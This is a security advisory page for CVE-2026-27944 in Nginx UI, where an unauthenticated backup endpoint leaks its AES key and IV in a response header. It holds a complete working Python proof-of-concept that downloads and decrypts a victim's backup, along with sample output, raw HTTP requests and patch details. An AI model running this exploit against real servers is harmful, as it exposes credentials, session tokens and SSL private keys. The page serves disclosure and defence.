CVE-2026-27944: Nginx UI: Unauthenticated Backup Download with Encryption Key Disclosure

Published Mar 5, 2026
·
Updated

Summary

The /api/backup endpoint is accessible without authentication and discloses the encryption keys required to decrypt the backup in the X-Backup-Security response header. This allows an unauthenticated attacker to download a full system backup containing sensitive data (user credentials, session tokens, SSL private keys, Nginx configurations) and decrypt it immediately.

Vulnerability Details

| Field | Value | |-------|-------| | CWE | CWE-306: Missing Authentication for Critical Function + CWE-311: Missing Encryption of Sensitive Data | | Affected File | api/backup/router.go | | Affected Function | CreateBackup (lines 8-11 in router, implementation in api/backup/backup.go:13-38) | | Secondary File | internal/backup/backup.go | | CVSS 3.1 | 9.8 (Critical) | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |

Root Cause

The vulnerability exists due to two critical security flaws:

1. Missing Authentication on /api/backup Endpoint

In api/backup/router.go:9, the backup endpoint is registered without any authentication middleware:

go func InitRouter(r gin.RouterGroup) { r.GET("/backup", CreateBackup) // No authentication required r.POST("/restore", middleware.EncryptedForm(), RestoreBackup) // Has middleware }

For comparison, the restore endpoint correctly uses middleware, while the backup endpoint is completely open.

2. Encryption Keys Disclosed in HTTP Response Headers

In api/backup/backup.go:22-33, the AES-256 encryption key and IV are sent in plaintext via the X-Backup-Security header:

go func CreateBackup(c gin.Context) { result, err := backup.Backup() if err != nil { cosy.ErrHandler(c, err) return }

// Concatenate Key and IV securityToken := result.AESKey + ":" + result.AESIv // Keys sent in header

// ... c.Header("X-Backup-Security", securityToken) // Keys exposed to anyone

// Send file content http.ServeContent(c.Writer, c.Request, fileName, modTime, reader) }

The encryption keys are Base64-encoded AES-256 key (32 bytes) and IV (16 bytes), formatted as key:iv.

3. Backup Contents

The backup archive (created in internal/backup/backup.go) contains:

go // Files included in backup: - nginx-ui.zip (encrypted) └── database.db // User credentials, session tokens └── app.ini // Configuration with secrets └── server.key/cert // SSL certificates

- nginx.zip (encrypted) └── nginx.conf // Nginx configuration └── sites-enabled/ // Virtual host configs └── ssl/ // SSL private keys

- hashinfo.txt (encrypted) └── SHA-256 hashes for integrity verification

All files are encrypted with AES-256-CBC, but the keys are disclosed in the response.

Proof of Concept

Python script

python #!/usr/bin/env python3

""" POC: Unauthenticated Backup Download + Key Disclosure via X-Backup-Security

Usage: python poc.py --target http://127.0.0.1:9000 --out backup.bin --decrypt """

import argparse import base64 import os import sys import urllib.parse import urllib.request import zipfile from io import BytesIO

try: from Crypto.Cipher import AES from Crypto.Util.Padding import unpad except ImportError: print("Error: pycryptodome required for decryption") print("Install with: pip install pycryptodome") sys.exit(1)

def parsekeys(hdrval: str): """ Parse X-Backup-Security header format: "base64key:base64iv" Example: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg== """ v = (hdrval or "").strip()

# Format is: key:iv (both base64 encoded) if ":" in v: parts = v.split(":", 1) if len(parts) == 2: return parts[0].strip(), parts[1].strip()

return None, None

def decryptaescbc(encrypteddata: bytes, keyb64: str, ivb64: str) -> bytes: """Decrypt using AES-256-CBC with PKCS#7 padding""" key = base64.b64decode(keyb64) iv = base64.b64decode(ivb64)

if len(key) != 32: raise ValueError(f"Invalid key length: {len(key)} (expected 32 bytes for AES-256)") if len(iv) != 16: raise ValueError(f"Invalid IV length: {len(iv)} (expected 16 bytes)")

cipher = AES.new(key, AES.MODECBC, iv) decrypted = cipher.decrypt(encrypteddata) return unpad(decrypted, AES.blocksize)

def extractbackup(encryptedzippath: str, keyb64: str, ivb64: str, outputdir: str): """Extract and decrypt the backup archive""" print(f"\n[] Extracting encrypted backup to {outputdir}")

os.makedirs(outputdir, existok=True)

# Extract the main ZIP (contains encrypted files) with zipfile.ZipFile(encryptedzippath, 'r') as mainzip: print(f"[] Main archive contains: {mainzip.namelist()}") mainzip.extractall(outputdir)

# Decrypt each file encryptedfiles = ["hashinfo.txt", "nginx-ui.zip", "nginx.zip"]

for filename in encryptedfiles: filepath = os.path.join(outputdir, filename) if not os.path.exists(filepath): print(f"[!] Warning: {filename} not found") continue

print(f"[] Decrypting {filename}...")

with open(filepath, "rb") as f: encrypted = f.read()

try: decrypted = decryptaescbc(encrypted, keyb64, ivb64)

# Write decrypted file decryptedpath = filepath.replace(".zip", "decrypted.zip") if filename.endswith(".zip") else filepath + ".decrypted" with open(decryptedpath, "wb") as f: f.write(decrypted)

print(f" → Saved to {decryptedpath} ({len(decrypted)} bytes)")

# If it's a ZIP, extract it if filename.endswith(".zip"): extractdir = os.path.join(outputdir, filename.replace(".zip", "")) os.makedirs(extractdir, existok=True) with zipfile.ZipFile(BytesIO(decrypted), 'r') as innerzip: innerzip.extractall(extractdir) print(f" → Extracted {len(innerzip.namelist())} files to {extractdir}")

except Exception as e: print(f" ✗ Failed to decrypt {filename}: {e}")

# Show hash info hashinfopath = os.path.join(outputdir, "hashinfo.txt.decrypted") if os.path.exists(hashinfopath): print(f"\n[] Hash info:") with open(hashinfopath, "r") as f: print(f.read())

def main(): ap = argparse.ArgumentParser( description="Nginx UI - Unauthenticated backup download with key disclosure" ) ap.addargument("--target", required=True, help="Base URL, e.g. http://host:port") ap.addargument("--out", default="backup.bin", help="Where to save the encrypted backup") ap.addargument("--decrypt", action="storetrue", help="Decrypt the backup after download") ap.addargument("--extract-dir", default="backupextracted", help="Directory to extract decrypted files")

args = ap.parseargs()

url = urllib.parse.urljoin(args.target.rstrip("/") + "/", "api/backup")

# Unauthenticated request to the backup endpoint req = urllib.request.Request(url, method="GET")

try: with urllib.request.urlopen(req, timeout=20) as resp: hdr = resp.headers.get("X-Backup-Security", "") key, iv = parsekeys(hdr) data = resp.read() except urllib.error.HTTPError as e: print(f"[!] HTTP Error {e.code}: {e.reason}") sys.exit(1) except Exception as e: print(f"[!] Error: {e}") sys.exit(1)

with open(args.out, "wb") as f: f.write(data)

# Key/IV disclosure in response header enables decryption of the downloaded backup print(f"\nX-Backup-Security: {hdr}") print(f"Parsed AES-256 key: {key}") print(f"Parsed AES IV : {iv}")

if key and iv: # Verify key/IV lengths try: keybytes = base64.b64decode(key) ivbytes = base64.b64decode(iv) print(f"\n[] Key length: {len(keybytes)} bytes (AES-256 ✓)") print(f"[] IV length : {len(ivbytes)} bytes (AES block size ✓)") except Exception as e: print(f"[!] Error decoding keys: {e}") sys.exit(1)

if args.decrypt: try: extractbackup(args.out, key, iv, args.extractdir)

except Exception as e: print(f"\n[!] Decryption failed: {e}") import traceback traceback.printexc() sys.exit(1) else: print("\n[!] Failed to parse encryption keys from X-Backup-Security header") print(f" Header value: {hdr}")

if name == "main": main()

bash Download and decrypt backup (no authentication required) pip install pycryptodome python poc.py --target http://victim:9000 --decrypt

X-Backup-Security: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA=:+rLZrXK3kbWFRK3qMpB3jw== Parsed AES-256 key: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA= Parsed AES IV : +rLZrXK3kbWFRK3qMpB3jw==

[] Key length: 32 bytes (AES-256 ✓) [] IV length : 16 bytes (AES block size ✓)

[] Extracting encrypted backup to backupextracted [] Main archive contains: ['hashinfo.txt', 'nginx-ui.zip', 'nginx.zip'] [] Decrypting hashinfo.txt... → Saved to backupextracted/hashinfo.txt.decrypted (199 bytes) [] Decrypting nginx-ui.zip... → Saved to backupextracted/nginx-uidecrypted.zip (12510 bytes) → Extracted 2 files to backupextracted/nginx-ui [] Decrypting nginx.zip... → Saved to backupextracted/nginxdecrypted.zip (5682 bytes) → Extracted 17 files to backupextracted/nginx

[] Hash info: nginx-uihash: 7c803b9b8791cebfad36977a321431182b22878c3faf8af544d05318ccb83ad5 nginxhash: 183458949e54794e1295449f0d6c1175bb92c1ee008be671ee9ee759aad73905 timestamp: 20260129-122110 version: 2.3.2

HTTP Request (Raw)

http GET /api/backup HTTP/1.1 Host: victim:9000

No authentication required - this request will succeed and return: - Encrypted backup as ZIP file - Encryption keys in X-Backup-Security header

Example Response

http HTTP/1.1 200 OK Content-Type: application/zip Content-Disposition: attachment; filename=backup-20260129-120000.zip X-Backup-Security: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg==

[Binary ZIP data]

The X-Backup-Security header contains: - Key: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4= (Base64-encoded 32-byte AES-256 key) - IV: 7XdVSRcgYfWf7C/J0IS8Cg== (Base64-encoded 16-byte IV)

<img width="1430" height="835" alt="screenshot" src="https://github.com/user-attachments/assets/a2e23c48-2272-4276-81de-fc700ff05b17" />

Resources

- CWE-306: Missing Authentication for Critical Function - CWE-311: Missing Encryption of Sensitive Data - OWASP: Broken Authentication - OWASP: Sensitive Data Exposure - NIST: Key Management Guidelines

Other sources

Nginx UI is a web user interface for the Nginx web server. Prior to version 2.3.3, the /api/backup endpoint is accessible without authentication and discloses the encryption keys required to decrypt the backup in the X-Backup-Security response header. This allows an unauthenticated attacker to download a full system backup containing sensitive data (user credentials, session tokens, SSL private keys, Nginx configurations) and decrypt it immediately. This issue has been patched in version 2.3.3.

MITRE

Affected Software

3 affected componentsFixes available
Nginx Nginx UI<2.3.3
go/github.com/0xJacky/Nginx-UI<2.3.3
2.3.3
NginxUI Nginx UI<2.3.3

Event History

Mar 5, 2026
CVE Published
via MITRE·04:28 PM
Data Sourced
via MITRE·04:28 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·06:26 PM
Data Sourced
via GitHub·06:26 PM
DescriptionSeverityWeaknessAffected Software
Data Sourced
via NVD·07:16 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-27944?

CVE-2026-27944 has been classified as a critical vulnerability due to its potential impact on data confidentiality.

2

How do I fix CVE-2026-27944?

To fix CVE-2026-27944, ensure that authentication is enforced on the /api/backup endpoint and upgrade to a patched version of Nginx UI.

3

What does CVE-2026-27944 affect?

CVE-2026-27944 affects Nginx UI versions prior to 2.3.3, allowing unauthenticated access to sensitive backup data.

4

What kind of attack can CVE-2026-27944 enable?

CVE-2026-27944 can enable an unauthenticated attacker to download sensitive backup files and retrieve encryption keys.

5

Is CVE-2026-27944 still a risk if I'm using an updated version of Nginx UI?

No, if you are using Nginx UI version 2.3.3 or later, CVE-2026-27944 does not pose a risk.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203